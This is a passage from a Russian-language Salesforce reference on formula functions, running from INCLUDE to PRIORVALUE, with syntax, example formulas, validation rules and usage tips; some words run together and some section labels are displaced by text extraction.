Советы: • Даннаяфункция ссылается нафрагмент S-Control, но не копирует его, поэтому всегда
запускает последнее содержимое фрагмента S-Control. Помните, что изменение
фрагмента S-Control влияет на все ссылающиеся функции INCLUDE.

• Рекомендуем использовать глобальную переменную $Request для доступа к любой
информации внутри фрагмента.

• Данная функция доступна только в настраиваемых кнопках, ссылках и элементах
S-Control.

INCLUDES

Данная функция определяет значение, выбранное в поле раскрывающегося списка со
множественным выбором, которое равняется заданному текстовому литералу.

Описание:

INCLUDES(поле_раскрывающегося_списка_со_множественным_выбором, текстовый_литерал)
и замените поле_раскрывающегося_списка_со_множественным_выбором именем поля слияния

Использование:

для раскрывающегося списка со множественным выбором; замените текстовый_литерал
нужнымзначениемраскрывающегося списка сомножественнымвыбором, окруженным
кавычками.

Функция INCLUDES(Hobbies__c, "Golf") возвращаетзначение «ИСТИНА», если
одним из выбранных значений настраиваемого раскрывающегося списка Hobbies
является значение Golf.

Примеры:

Советы: • Выражение текстовый_литерал должнобыть текстовымииспользоватькавычки. Поле
слияния или результат функции не может использоваться в качестве выражения.

• Нижеперечисленыусловия, привыполнениикоторыхсистема Salesforce возвращает
ошибку.

– Выражение текстовый_литерал не задано.

– Выражение текстовый_литерал является пустым (например, "" или " ").

• Рекомендуем использовать функцию ISBLANK для определения пустого поля
раскрывающегося списка со множественным выбором.

• Рекомендуем использовать функцию PRIORVALUE внутри функции INCLUDES для
проверки наличия конкретного значения в предыдущем значении поля
раскрывающегося списка со множественным выбором. Например:

INCLUDES(
PRIORVALUE(multiselect_picklist_field),
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text_literal
)

ISBLANK

Даннаяфункцияопределяетналичие значениядля выраженияи, в случае егоотсутствия,
возвращает значение «ИСТИНА». Приналичиизначенияфункциявозвращает значение
«ЛОЖЬ».

Описание:

ISBLANK(выражение) изамените выражение выражением, котороедолжнобытьоценено.Использование:

(IF(ISBLANK(Maint_Amount__c), 0, 1) +
IF(ISBLANK(Services_Amount__c), 0,1) +

Пример:

IF(ISBLANK(Discount_Percent__c), 0, 1) +
IF(ISBLANK(Amount), 0, 1) +
IF(ISBLANK(Timeline__c), 0, 1)) / 5

Даннаяформула обрабатывает набор полей и вычисляет процент полей, используемый
персоналом. Данное поле формулы проверяет пять полей на наличие значений. Поле,
которое не содержит значения, считается нулевым. Поле, которое содержит значение,
считается как «1». Общее количество делится на пять (количество оцененных полей).
Обратите внимание, что данная формула требует выбора параметра «Считать пустые
поля пустыми» в разделе «Обработка пустых полей» вложенной вкладки «Сложная
формула».

Советы: • Рекомендуем использовать функцию ISBLANK вместо функции ISNULL в новых
формулах. Функция ISBLANK аналогичнафункции ISNULL, ноподдерживает текстовые
поля. Изменениетекущихформулне требуется, так как система Salesforceнеотменяет
поддержку функции ISNULL.

• Поле, содержащее символ, пробел или нулевое значение, считается заполненным.
Например, поле, содержащее пробел, вставленный посредством клавиши пробела,
считается заполненным.

• РекомендуемиспользоватьфункциюBLANKVALUEдля возврата заданнойстроки, если
поле не содержит значения, а функцию ISBLANK для проверки наличия значения в
поле.

• Еслиданнаяфункцияиспользуетсясчисловымполем, тофункциявозвращаеттолько
значение «ИСТИНА», еслиполенесодержитзначенияинеподдерживаетобработку
пустых полей в качестве нулевых.

ISCHANGED

Данная функция сравнивает значение поля с предыдущим значением и, в случае их
различия, возвращает значение «ИСТИНА». В противном случае функция возвращает
значение «ЛОЖЬ».

Описание:
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ISCHANGED(поле) и замените поле именем поля, которое должно быть сопоставлено.Использование:

Следующее правило проверки не позволяет пользователям изменять имя созданного
объекта: NOT(ISCHANGED(Name)).

NOT(AND(ISCHANGED(Priority), ISPICKVAL(Priority, “Low”))) — это
правилопроверки, позволяющееприизмененииполяобращения Priority отображать
любое новое значение, кроме Low.

Примерправилапроверки:

NOT(AND(ISCHANGED(CloseDate), OR(MONTH(CloseDate) <>
MONTH(TODAY()), YEAR(CloseDate) <> YEAR(TODAY())),$Profile.Name
<> "Sales Manager")) — этоправилопроверки, котороеразрешает заполнятьполе
возможности Close Date датой, относящейсяк текущемумесяцуи году, кроме случаев
использования профиля Sales Manager.

Прим.: Поля слияния $Profile доступнытолько в версиях Enterprise Edition, Unlimited
Edition, Performance Edition и Developer Edition.

Советы: • Ниже перечислены компоненты, поддерживающие даннуюфункцию.

– Правила назначения

– Правила проверки

– Обновления поля

– Бизнес-правила, если используется критерий оценки «Оценить правило, если
запись: создано и изменено».

– Критерии формулы для выполнения действий в конструкторе процессов.

• Рекомендуем использовать функцию NOT для обратного изменения возвращаемых
значений «ИСТИНА» и «ЛОЖЬ».

• Даннаяфункция возвращает значение «ЛОЖЬ» приоценкелюбогополя созданной
записи.

• Если ранее текстовое поле было пустым, то данная функция возвращает значение
«ИСТИНА» при наличии значения.

• При использовании полей типа «Число», «Процент» или «Валюта» данная функция
возвращает значение «ИСТИНА», если:

– Поле было пустым, но сейчас содержит любое значение

– Поле было нулевым, но сейчас содержит пустое значение

– Поле было нулевым, но сейчас содержит любое другое значение

ISNEW

Данная функция проверяет формулу на предмет выполнения при создании записи и, в
случае ее выполнения, возвращает значение «ИСТИНА». При обновлении текущей
записи функция возвращает значение «ЛОЖЬ».

Описание:

ISNEW()Использование:
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Ниже приведено правило проверки, которое не позволяет пользователям создавать
записи с прошедшей датой закрытия. Функция AND (ISNEW(), CloseDate <

Примерправилапроверки:

TODAY()) проверяет, создает ли пользователь новую возможность, и, в случае
истинности, проверяет поле Close Date на наличие значения Today или After Today.

Рекомендуемиспользовать данное правилопроверки, чтобы гарантировать добавление
как минимум одного продукта в созданную возможность.

NOT(OR(ISNEW(),HasOpportunityLineItem))

Формула правила проверки, используемая в данном примере, отображает следующее
сообщениеобошибке, если текущая возможностьне содержитпродуктов: «You must add
products to this opportunity before saving». Данная формула не возвращает ошибку при
первоначальном сохранении, так как продукты могут быть добавлены только после
первоначального сохранения записи; формула запрещает повторно сохранять или
закрывать возможности, которые не содержат продукты.

Советы: • Даннаяфункцияподдерживается толькоправиламипроверки, обновлениямиполей,
бизнес-правилами, правилами назначения и критериямиформулы конструктора
процессов.

• Рекомендуем использовать функцию NOT для обратного изменения возвращаемых
значений «ИСТИНА» и «ЛОЖЬ».

• Данная функция всегда возвращает значение «ЛОЖЬ» при использовании в
бизнес-правиле с контролируемым по времени триггером.

• Данная функция всегда возвращает значение «ЛОЖЬ» при использовании в
обновлении поля для действия утверждения.

ISNULL

Важное замечание: Рекомендуем использовать функцию ISBLANK вместо функции ISNULL в новых формулах.
Функция ISBLANK аналогична функции ISNULL, но поддерживает текстовые поля. Изменение текущих формул не
требуется, так как система Salesforce не отменяет поддержку функции ISNULL.

Данная функция определяет нулевое (пустое) выражение и, в случае истинности,
возвращает значение «ИСТИНА». Приналичиизначенияфункциявозвращает значение
«ЛОЖЬ».

Описание:

ISNULL(выражение) и замените выражение выражением, которое должно быть оценено.Использование:

(IF(ISNULL(Maint_Amount__c), 0, 1) +
IF(ISNULL(Services_Amount__c), 0,1) +

Пример:

IF(ISNULL(Discount_Percent__c), 0, 1) +
IF(ISNULL(Amount), 0, 1) +
IF(ISNULL(Timeline__c), 0, 1)) / 5

Даннаяформула обрабатывает набор полей и вычисляет процент полей, используемый
персоналом. Данное поле формулы проверяет пять полей на наличие значений. Поле,
которое не содержит значения, считается нулевым. Поле, которое содержит значение,
считается как «1». Общее количество делится на пять (количество оцененных полей).
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Обратите внимание, что данная формула требует выбора параметра «Считать пустые
поля пустыми» в разделе «Обработка пустых полей» вложенной вкладки «Сложная
формула».

AND(ISPICKVAL(StageName, "Closed Won"),
ISNULL(Project_Start_Date__c))

Примерправилапроверки:

Данное правило проверки присваивает настраиваемому полю даты Project Start
Date статус условно обязательного, если этапу задано значение Closed Won.

Советы: • Текстовые поля не могут быть нулевыми, поэтому использование данной функции
в текстовом поле всегда возвращает значение «ЛОЖЬ». Например, поле формулы
IF(ISNULL(new__c) 1, 0) всегда возвращает нулевое значение, независимо
от значения поля New. Рекомендуем использовать функцию ISBLANK в текстовых
полях.

• Поляраскрывающегосясписка сомножественнымвыборомнемогутбытьнулевыми
в элементах S-Control, кнопкахишаблонах эл. почты, поэтомуиспользование данной
функции в поле раскрывающегося списка со множественным выбором всегда
возвращает значение «ЛОЖЬ».

• Пустые поля даты и даты/времени, используемые функциями ISNULL, всегда
возвращают значение «ИСТИНА».

• Функция ISNULL не поддерживает поля даты/времени.

• Параметр «Считать пустые поля пустыми» должен быть выбран при обращении
кполютипа «Число», «Процент» или «Валюта» вфункции ISNULL. Параметр «Считать
пустые поля нулевыми» присваивает пустым полям нулевое значение.

• Поля слияния могут обрабатываться как пустые, что может влиять на результаты
компонентов (например, элементы S-Control), поддерживающих вызов данной
функции.

• При использовании правила проверки, гарантирующего наличие конкретного
значениявчисловомполе, рекомендуемиспользоватьфункцию ISNULLдлядобавления
пустых полей. Например, чтобы проверить наличие значения «1» в настраиваемом
поле, воспользуйтесь правилом проверки ниже, позволяющим отображать ошибки
для пустых полей или полей, содержащих иные значения.

OR(ISNULL(field__c), field__c<>1)

ISNUMBER

Данная функция определяет текстовое значение, являющееся числом, и, в случае
истинности, возвращает значение «ИСТИНА». Впротивномслучаефункциявозвращает
значение «ЛОЖЬ».

Описание:

ISNUMBER(текст) и замените текст именем поля слияния для текстового поля.Использование:
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OR(LEN(Bank_Account_Number__c) <> 10,
NOT(ISNUMBER(Bank_Account_Number__c)))

Примерправилапроверки:

Данное правило проверки гарантирует наличие 10-значного числа в настраиваемом
текстовом поле Bank Account Number.

Советы: • Данная функция возвращает значение «ЛОЖЬ» для пустых значений.

• Функция ISNUMBER не поддерживает региональные настройки. Например, функции
ISNUMBER("123,12") и ISNUMBER("1 000") возвращаютзначение «ЛОЖЬ»,
несмотря на выбор региона French.

• Китайские, японские, корейские и специальные символы, включая пробелы,
возвращают значение «ЛОЖЬ».

• Функция ISNUMBER возвращает значение «ИСТИНА» для технического
форматирования (например, «2E2» или «123.123»).

ISPICKVAL

Даннаяфункцияопределяет значениеполяраскрывающегося списка, котороеравняется
заданному текстовому литералу.

Описание:

ISPICKVAL(поле_раскрывающегося_списка, текстовый_литерал) и замените
поле_раскрывающегося_списка именемполя слияниядляраскрывающегося списка; замените

Использование:

текстовый_литерал значениемраскрывающегосясписка, окруженнымкавычками. Параметр
текстовый_литерал не может быть полем слияния или результатом функции.

Активация контракта

Функция IF(ISPICKVAL(Status, "Activated"), NOW()-ActivatedDate,
null) вычисляет количество дней, прошедших после активации контракта. Данное
поле содержит значение, если контракту задан статус Activated.

Примеры:

Суммы комиссии

IF(ISPICKVAL(StageName, "Closed Won"),
ROUND(Amount *0.02, 2), 0)

Данный пример вычисляет комиссию для любой возможности на этапе Closed Won.
Значение данного поля вычисляется путем умножения суммы на коэффициент 0,02 для
любой закрытой/реализованной возможности. Открытым или нереализованным
возможностям назначается нулевая комиссия.

Бизнес-правило, инициированное конкурентом

ISPICKVAL(Stage, “Closed Lost”) && INCLUDES(Competitor__c, “Acme”)

При использовании бизнес-правила или конструктора процессов данная формула
позволяет системе Salesforce инициировать выполнение связанных действий, если поле
раскрывающегося списка со множественным выбором Competitor для
нереализованной возможности содержит значение «Acme».
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Советы: • Замените поле_раскрывающегося_списка настраиваемым или стандартным полем типа
«Раскрывающийся список».

• Выражение текстовый_литерал должнобыть текстовымииспользоватькавычки. Поле
слияния или результат функции не может использоваться в качестве выражения.

• Рекомендуем использовать функции CASE для определения значений
раскрывающегося списка, равных отдельному значению.

• Если функция ISPICKVAL используется для возврата предыдущего значения поля
раскрывающегося списка, добавьте функцию PRIORVALUE в функцию ISPICKVAL.
Например:

ISPICKVAL(PRIORVALUE
(picklist_field),
text_literal)

JSENCODE

Даннаяфункциякодирует значениятекстовыхполейиполейслияниядляиспользования
в JavaScript путем вставки символов перехода (например, обратная косая черта) перед
небезопасными символами JavaScript (например, апостроф).

Описание:

{!JSENCODE(текст)} и замените текст полем слияния или текстовой строкой,
содержащей небезопасные символы JavaScript.

Использование:

Если поле слияния foo__c содержит текст <B>Enter the user's name<b>, то
функция {!JSENCODE(foo__c)} возвращает следующее значение:
\u003CB\u003EEnter the user\'s name\u003C\/b\u003E

Пример:

Даннаяфункцияподдерживается тольконастраиваемымикнопкамии ссылками, а также
Visualforce.

Советы:

JSINHTMLENCODE

Даннаяфункциякодирует значениятекстовыхполейиполейслияниядляиспользования
внутри HTML-тегов в JavaScript путем замены символов, зарезервированных в HTML,

Описание:

эквивалентами объекта HTML и вставки символов перехода перед небезопасными
символами JavaScript. JSINHTMLENCODE(некоторое_значение) — это вспомогательная
функция, эквивалентная функции JSENCODE(HTMLENCODE((некоторое_значение)).
Другими словами, функция JSINHTMLENCODE сначала кодирует некоторое_значение
посредством HTMLENCODE, а затем кодирует результат посредством JSENCODE.

{!JSINHTMLENCODE(текст)} изамените текст полемслиянияилитекстовойстрокой,
содержащей небезопасные символы JavaScript.

Использование:

Если поле слияния foo__c содержит текст <B>Enter the user's name<b>, то
функция {!JSINHTMLENCODE(foo__c)} возвращает следующее значение:
&lt;B&gt;Enter the user&#39;s name&lt;/b&gt;

Пример:
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Советы: • Данная функция поддерживается только настраиваемыми кнопками и ссылками, а
также Visualforce.

LEFT

Даннаяфункциявозвращает указанноеколичествосимволовизначала текстовойстроки.Описание:

LEFT(текст, количество_символов) и замените текст нужным полем или выражением;
замените количество_символов нужным количеством символов слева.

Использование:

TRIM(LEFT(LastName, 5)) & "-" & TRIM(RIGHT(SSN__c, 4))

Даннаяформула отображает первые пять символов имени и последние четыре символа
номера социального обеспечения, разделенные тире. Обратите внимание, что данный
пример использует настраиваемое текстовое поле SSN.

Пример:

Советы: • Формулы позволяют ссылаться на поля автонумерации как на текстовые поля.

• Если значению количество_символов соответствует отрицательное число, то система
Salesforce заменяет данное значение нулем.

LEN

Данная функция возвращает количество символов в заданной текстовой строке.Описание:

LEN(текст) и замените текст полем или выражением нужной длины.Использование:

LEN(PartNumber__c)

Данная формула возвращает количество символов в поле Product Code.

Пример:

LINKTO

Даннаяфункция возвращает относительный URL-адрес в виде ссылки (теги href и anchor)
для настраиваемого элемента S-Control или страницы Salesforce.

Описание:

{!LINKTO(метка, цель, код, [входные_данные], [без_переопределения]} и замените
метку текстом ссылки, цель  URL-адресом, а код ссылкой на запись. Входные данные

Использование:

указываютсядополнительноимогут содержатьлюбыепараметры, которыедолжныбыть
добавлены в ссылку.Аргумент без_переопределения также является дополнительным и по
умолчанию содержит значение «ложь». Данный аргумент применяется к URL-адресам
стандартных страниц Salesforce (например, $Action.Account.New). Замените аргумент
без_переопределения значением «истина» дляотображения стандартнойстраницы Salesforce,
независимо от наличия соответствующего переопределения в других областях
приложения.
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Элемент S-Control для создания организации

<html> <body> {!LINKTO("Create a New Account",
$Action.Account.New, $ObjectType.Account)}

</body> </html>

Примерэлемента S-Control:

Данный пример позволяет пользователям выбирать ссылку для создания организации.
Данная ссылка может быть добавлена в списковые представления организаций или
веб-вкладки, поддерживающиепрямоесозданиеорганизаций. Рекомендуемиспользовать
глобальнуюпеременную $Action для доступа к странице созданияорганизацийв системе
Salesforce.

Элемент S-Control для открытия нового окна эл. почты

<html>
<body>
{!LINKTO("Email link",
"mailto:support@yourcompany.com?subject=Please%20Help")};

</body>
</html>

Данныйпримероткрываетновоеокноэл. почты, адресованное support@yourcompany.com
и содержащее тему Please Help, при каждом выборе ссылки Email link.

Ссылка на другой элемент S-Control

<html>
<body>
{!LINKTO("Check for duplicates",
$Scontrol.dedup_account, Account.Id)}

</body>
</html>

Рекомендуем использовать данный пример для создания страницы, содержащей
гиперссылку Check for duplicates. При выборе данной ссылки система Salesforce запускает
настраиваемый элемент S-Control. Данный пример предполагает наличие готового
настраиваемого элемента S-Control для поиска повторяющихся организаций и
объединения их данных.

Советы: • Запрещается использовать даннуюфункцию во встраиваемом элементе S-Control,
который должен открываться в новом окне.

• Чтобы объединить разные входные_данные, рекомендуем использовать квадратные
скобки.

{!LINKTO("View Case", $Action.Case.View, Case.Id, [parm1="A",
parm2="B"])}

• Чтобы задать аргумент без_переопределения в случае отсутствия входных данных для
передачи, задайте параметру входные_данные нулевое значение.

{!LINKTO("View Case", $Action.Case.View, Case.Id, null, true)}

• Припереопределенииначальнойстраницыстандартнойилинастраиваемойвкладки
задайте параметру цель глобальную переменную $Action для объекта Tab, а
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параметру код — тип объекта. Например, LINKTO("Accounts Tab",

$Action.Account.Tab, $ObjectType.Account).

• Данная функция доступна только в настраиваемых кнопках, ссылках и элементах
S-Control.

LN

Данная функция возвращает натуральный логарифм заданного числа. Основанием
натуральныхлогарифмовявляетсяпостоянноезначениечислаЕ, равное 2,71828182845904.

Описание:

LN(число) и замените число полем или выражением, которое должно содержать
натуральный логарифм.Примечание. Функция LN противоположна функции EXP.

Использование:

Функция LN(10) возвращает натуральный десятичный логарифм (например, 2,30).

Функция LN(Value__c) возвращаетнатуральныйлогарифмнастраиваемогочислового
поля Value.

Пример:

LOG

Данная функция возвращает десятичный логарифм числа.Описание:

LOG(число) и замените число полем или выражением, которое должно использоваться
для вычисления десятичного логарифма.

Использование:

Зарплата

Функция LOG(Salary__c) вычисляетлогарифмзарплатысотрудника. Данныйпример
использует настраиваемое поле валюты Salary.

Пример:

Водород

Формула -LOG(Hydrogen__c) вычисляет водородный показатель и кислотность
посредством функции LOG и настраиваемого числового поля Hydrogen, которое
отображает концентрацию ионов водорода в жидкости (моль на литр).

LOWER

Данная функция преобразует все буквы заданной текстовой строки в строчные. Данная
функцияобрабатываеттолькобуквы. Привыборерегионаприменяютсясоответствующие
правила.

Описание:

LOWER(текст, [регион]) и замените текст полем или текстом, который должен быть
преобразован в строчной; замените регион — дополнительным двухзначным кодом ISO
или пятизначным кодом региона (при его наличии).

Использование:

MYCOMPANY.COM

Функция LOWER("MYCOMPANY.COM") возвращает значение mycompany.com.

Пример:

4671

Использование формулРасширение Salesforce посредством интерактивных
инструментов



Биржевой символ

Функция LOWER(TickerSymbol) возвращает строчной текст, введенный в поле
«Биржевой символ».

Применение правил турецкого языка

Турецкийязыкиспользуетдва вариантабуквы «i»: с точкойибез точки. Согласноправилам
турецкого языка, буква «i» с точкой может использоваться как заглавная, а буква «i» без
точки — как строчная. Чтобы гарантировать корректное использование функции
LOWER() натурецкомязыке, рекомендуемдобавитькодТурции (tr) вфункцию LOWER().
Например:

LOWER(текст, "tr")

В этом случае система Salesforce блокирует преобразование буквы «i» с точкой в букву «i»
без точки в параметре текст.

LPAD

Данная функция вставляет указанные символы слева от текстовой строки.Описание:

LPAD(текст, длина_заполнения[, строка_заполнения]) и замените переменные:Использование:

• текст  (поле или выражение, слева от которого должны быть вставлены символы).

• длина_заполнения  (общее количество символов в тексте, которое должно быть
возвращено).

• строка_заполнения  (какминимумодинсимвол, которыйдолженбытьвставлен). Параметр
строка_заполнения является дополнительными по умолчанию соответствует пробелу.

Если длина значения текст превышает длину значения строка_заполнения, то текст
усекается до размера длины_заполнения.

Имя поля: заполнение

Функция LPAD(Name, 20) усекаетполе Name до 20 символов. Например, дляимени
mycompany.com возвращается значение mycompany.com.

Пример:

My_Company: без изменения

Функция LPAD('my_company.com', 14, 'z') возвращает значение
my_company.com без изменения, так как его длина составляет 14 символов.

Заполнение имени поля символом Z

Функция LPAD(Name, 15, 'z') возвращает имя zmycompany.com.

Имя поля: усечение

Функция LPAD(Name, 2) усекает имя до двух символов. Например, для имени
mycompany.com возвращается значение my.

Начальные нули и пробелы пропускаются.Советы:
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MAX

Данная функция возвращает самое большое число из списка чисел.Описание:

MAX(число, число,...) и замените число полями или выражениями, которые должны
использоваться для извлечения наибольшего числа.

Использование:

Плата за обслуживание

MAX(0.06 * Total_Cost__c, Min_Service_Charge__c)

Пример:

Данный пример использует поле формулы, которое вычисляет плату за обслуживание
в размере 6% от общих затрат или минимальную плату (в зависимости от того, что
больше). Обратитевнимание, чтонастраиваемоеполевалюты Min Service Charge
содержитстандартноезначение $15. Еслиминимальнаяплата всегдаодинакова, тоданное
настраиваемое поле может использоваться как поле формулы.

Авторский гонорар

MAX(0.10 * Pages__c,
(Retail_Price__c * 0.07) * Total_Sold__c)

Даннаяформулаопределяет сумму, которая должнабыть выплачена в качестве гонорара
за книгу. Формула отображает большуюиз двух сумм: $0,07 за каждую проданную книгу
или $0.10 за страницу. Данный пример предполагает наличие готовых настраиваемых
числовых полей Pages и Total Sold, а также настраиваемого поля валюты Retail
Price.

Комиссионные

MAX($User.Commission_Percent__c * Price,
Price * Account_Discount__c, 100)

Данная формула определяет комиссионные за актив на основе наибольшего значения:
комиссионный процент пользователя от цены; цена, умноженная на процент скидки,
заданный для организации; 100 долларов. Данный пример предполагает наличие двух
готовых настраиваемых полей процентов для пользователей и активов.

MID

Данная функция возвращает указанное количество символов из середины текстовой
строки, начиная с исходной позиции.

Описание:

MID(текст, начальный_номер, количество_символов) и замените текст полем или
выражением, которое должно использоваться для возврата символов; замените

Использование:

начальный_номер количествомсимволов, котороедолжноотображатьсяслевакакисходная
позиция; замените количество_символов общим количеством символов, которое должно
быть возвращено.

Функция MID(Division, 3, 4) возвращает четыре символа имени Division,
начиная с третьего символа слева. Данное значение соответствует коду отдела в записи
пользователя.

Пример:
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MIN

Данная функция возвращает самое маленькое число из списка чисел.Описание:

MIN(число, число,...) и замените число полями или выражениями, которые должны
использоваться для извлечения наименьшего числа.

Использование:

Соответствие пенсионному плану 401K

MIN(250, Contribution__c /2)

Пример:

Данный пример использует формулу, определяющую сумму, которая должна
переводиться на имя сотрудника согласно пенсионному плану 401K: половина взноса
сотрудника или 250 долларов (в зависимости от того, что меньше). Данный пример
предполагает наличие готового настраиваемого поля валюты Contribution.

Премия

MIN(Gross__c * Bonus_Percent__c,
Performance__c / Number_of_Employees__c)

Данный пример определяет размер премии сотрудника на основе наименьшего из двух
значений: валовая прибыль сотрудника, умноженная на процент премии, или прибыль
компании, разделенная поровну на всех сотрудников. Данный пример предполагает
наличие готового настраиваемого числового поля Number of Employees,
настраиваемого поля процентов Bonus Percent и настраиваемых полей валюты
Gross  (для сотрудника) и Performance  (для компании).

MOD

Данная функция возвращает остаток от деления числа.Описание:

MOD(число, делитель) и замените число полем или выражением, которое должно быть
разделено; замените делитель числом, котороедолжноиспользоватьсявкачестведелителя.

Использование:

Функция MOD(3, 3) возвращает значение «0».

Функция MOD(4, 3) возвращает значение «1».

Пример:

Функция MOD(123, 100) возвращает значение «23».

При необходимости отмените возможность планирования встреч на субботу или
воскресенье. Рекомендуемиспользоватьпримернижедляпримененияправилапроверки
к настраиваемому полю даты My Date.

CASE(MOD(My_Date__c - DATE(1900, 1, 7), 7),
0, 0,
6, 0,
1) = 0

Если значение поля My Date соответствует выходному дню, то данный пример
отображает следующее сообщение об ошибке: «My Date is not a weekday».
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MONTH

Данная функция возвращает месяц в виде числа от 1 (январь) до 12 (декабрь).Описание:

MONTH(дата) изамените дату полемиливыражениемдаты, содержащимнужныймесяц.Использование:

Истечение срока действия соглашения об уровне обслуживания

Функция MONTH(SLAExpirationDate__c) возвращает месяц истечения срока
действиясоглашенияобуровнеобслуживания. Данныйпримериспользуетнастраиваемое
поле даты SLA Expiration Date.

Пример:

Текущий месяц

Функция MONTH(TODAY()) возвращаеттекущиймесяцвчисловомформате. Например,
февралю соответствует значение «2».

NOT

Данная функция возвращает значение «ЛОЖЬ» для значения «ИСТИНА», а значение
«ИСТИНА» для значения «ЛОЖЬ».

Описание:

NOT(логическое_значение) и замените логическое_значение выражением, которое должнобыть
оценено.

Использование:

Формула IF(NOT(ISPICKVAL(Status, "Closed")),
ROUND(NOW()-CreatedDate, 0), null проверяет, является ли переменная

Пример:

открытой, и, в случае истинности, вычисляет количество дней, в течение которых она
была открыта, путем вычитания даты и времени создания из текущих даты и времени.
Формула возвращаетколичестводней, округленноедоцелогочисла. Впротивномслучае
данное поле содержит пустое значение.

NOW

Данная функция возвращает текущие дату и время.Описание:

NOW()Использование:

IF(ISPICKVAL(Status, "Open"), ROUND(NOW()-CreatedDate, 0), null)

Данная формула проверяет, является ли интерес открытым, и, в случае истинности,
вычисляет количество дней, в течение которых он был открыт, путем вычитания даты и

Пример:

времени создания из текущих даты и времени. Формула возвращает количество дней,
округленноедоцелогочисла. Впротивномслучаеданноеполесодержитпустоезначение.

Советы: • Запрещается удалять скобки.

• Запрещается заполнять скобки содержимым. Скобки должны быть пустыми.

• Функция NOW должнаиспользоватьполедаты/временивместополядаты. Поля «Дата
создания» и «Дата последнего изменения» — этополядаты/времени, тогда какполе
«Дата последнего действия» — это поле даты.
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• Рекомендуем использовать функцию TODAY для добавления поля даты.

• При вычислении дат и времени всегда используется часовой пояс пользователя.

• Рекомендуем использовать операторы сложения и вычитания с функцией NOW и
другими полями даты/времени для возврата числа, соответствующего количеству
дней. Например, формула NOW() - CreatedDate вычисляет количество дней,
прошедшихпоследатысоздания записи. Данныйпримериспользуетполеформулы
типа «Число».

• Рекомендуем использовать операторы сложения и вычитания с функцией NOW и
числами для возврата даты и времени. Например, формула NOW() +5 прибавляет
пятьднейк текущимдатеивремени. Данныйпримериспользуетполеформулытипа
«Дата/время».

NULLVALUE

Важное замечание: РекомендуемиспользоватьфункциюBLANKVALUEвместофункцииNULLVALUEвновыхформулах.
ФункцияBLANKVALUE аналогичнафункцииNULLVALUE, ноподдерживаеттекстовыеполя. Изменениетекущихформул
не требуется, так как система Salesforce не отменяет поддержку функции NULLVALUE.

Данная функция определяет нулевое (пустое) выражение и, в случае истинности,
возвращает выражение замены. При наличии значения функция возвращает значение
выражения.

Описание:

NULLVALUE(выражение, выражение_замены) и замените выражение выражением, которое
должно быть оценено; замените выражение_замены значением, которое должно заменять
любые пустые значения.

Использование:

(NULLVALUE(Sample_Due_Date__c, StartDate +5)

Даннаяформула возвращает дату черезпять днейпосле датыначала, еслиполе Sample
Due Date содержит пустое значение. Поле Sample Due Date является
настраиваемым полем даты.

Пример:

Советы: • Запрещается использовать даннуюфункцию с текстовыми полями, так как они не
содержат нулевого значения даже в том случае, если отображаются пустыми.
РекомендуемиспользоватьфункциюBLANKVALUEдляопределенияпустыхтекстовых
полей.

• Функция NULLVALUE не поддерживает поля даты/времени.

• Параметр «Считать пустые поля пустыми» должен быть выбран при обращении
к полю типа «Число», «Процент» или «Валюта» в функции NULLVALUE. Параметр
«Считать пустые поля нулевыми» присваивает пустым полям нулевое значение.

• Параметры выражение и выражение_замены должны использовать одинаковый тип
данных.
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ИЛИ

Данная функция определяет истинность или ложность выражений. Если как минимум
одно выражение истинно, то функция возвращает значение «ИСТИНА». В противном

Описание:

случае возвращает значение «ЛОЖЬ».Рекомендуемиспользоватьданнуюфункциюкак
альтернативу оператору || (ИЛИ).

OR(логическое_значение1, логическое_значение2...) изаменителюбоеколичествологических
ссылок выражениями, которые должны быть оценены.

Использование:

IF(OR(ISPICKVAL(Priority, "High"), ISPICKVAL(Status, "New")),
ROUND(NOW()-CreatedDate, 0), null)

Данная формула возвращает количество дней, в течение которого обращение было
открыто, еслиполю Status заданозначение New илиполю Priority заданозначение
High. Если обращение открыто сегодня, то данное поле отображает нулевое значение.

Пример поляформулы:

OR(Sample_Rate__c < 0, Sample_Rate__c > 0.40)
Примерправилапроверки:

Даннаяформула правила проверкиотображает следующее сообщение об ошибке, если
настраиваемоеполе Sample Rate содержитзначениевнедиапазона 0—40%: "SampleRate
cannot exceed 40%."

PARENTGROUPVAL

Данная функция возвращает значение указанной родительской группировки.
Родительская группировка — это любой вышестоящий уровень над группировкой,

Описание:

содержащейформулу. Данная функция может использоваться только в настраиваемых
формулах резюмирования для создания отчетов.

Сводный и составной отчеты: PARENTGROUPVAL(поле_резюмирования,
уровень_группировки)

Матричный отчет: PARENTGROUPVAL(поле_резюмирования,
родительская_группировка_строк, родительская_группировка_столбцов)

Использование:

Параметр поле_резюмирования отображает значение итогового поля; параметр
уровень_группировки отображаетродительскийуровеньдлясводныхотчетов, апараметры
родительская_группировка_строк и родительская_группировка_столбцов отображают
родительские уровни для матричных отчетов.

TOTAL_PRICE:SUM/PARENTGROUPVAL(TOTAL_PRICE:SUM, GRAND_SUMMARY)
Пример:

Данная формула вычисляет размер каждого продукта относительно итоговой суммы.
Данный пример использует сводный отчет по возможностям и их продуктам,
сгруппированным по полю «Имя продукта».
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PREVGROUPVAL

Даннаяфункциявозвращаетзначениеуказаннойпредыдущейгруппировки. Предыдущая
группировка — это группировка, расположенная в отчете перед текущей группировкой.

Описание:

Выберите уровень группировки и инкремент. Инкремент — это количество столбцов
или строк, расположенных перед текущим полем резюмирования. Значение по
умолчанию: «1»; максимальное значение: «12». Данная функция может использоваться
только в настраиваемых формулах резюмирования для создания отчетов.

PREVGROUPVAL(summary_field, grouping_level [, increment])
Использование:

Параметр поле_резюмирования отображает имя сгруппированной строки или столбца;
параметр уровень_группировки отображает уровень резюмирования, а параметр
инкремент отображает количество предыдущих строк или столбцов.

AMOUNT:SUM - PREVGROUPVAL(AMOUNT:SUM, CLOSE_DATE)
Пример:

Данная формула вычисляет разницу между текущей и предыдущей стоимостями для
каждого месяца отчета. Данныйпример использует матричный отчет по возможностям,
содержащий столбцы, сгруппированные по полю «Дата закрытия», и строки,
сгруппированные по полю «Этап».

PRIORVALUE

Данная функция возвращает предыдущее значение поля.Описание:

PRIORVALUE(поле)Использование:

Следующееправилопроверкиблокируетизменениеожидаемогодоходапосле закрытия
возможности: AND(PRIORVALUE(Amount) > Amount, IsClosed).

Примерправилапроверки:

Советы: • Ниже перечислены компоненты, поддерживающие даннуюфункцию.

– Правила назначения

– Правила проверки

– Обновления поля

– Бизнес-правила, если используется критерий оценки «Оценить правило, если
запись: создано и изменено».

– Критерии формулы для выполнения действий в конструкторе процессов.

• Данная функция не возвращает стандартные значения.

• Присоздании записиданнаяфункция возвращает значение ссылочного поля вместо
нулевого значения. Например, при создании организации Acme функция
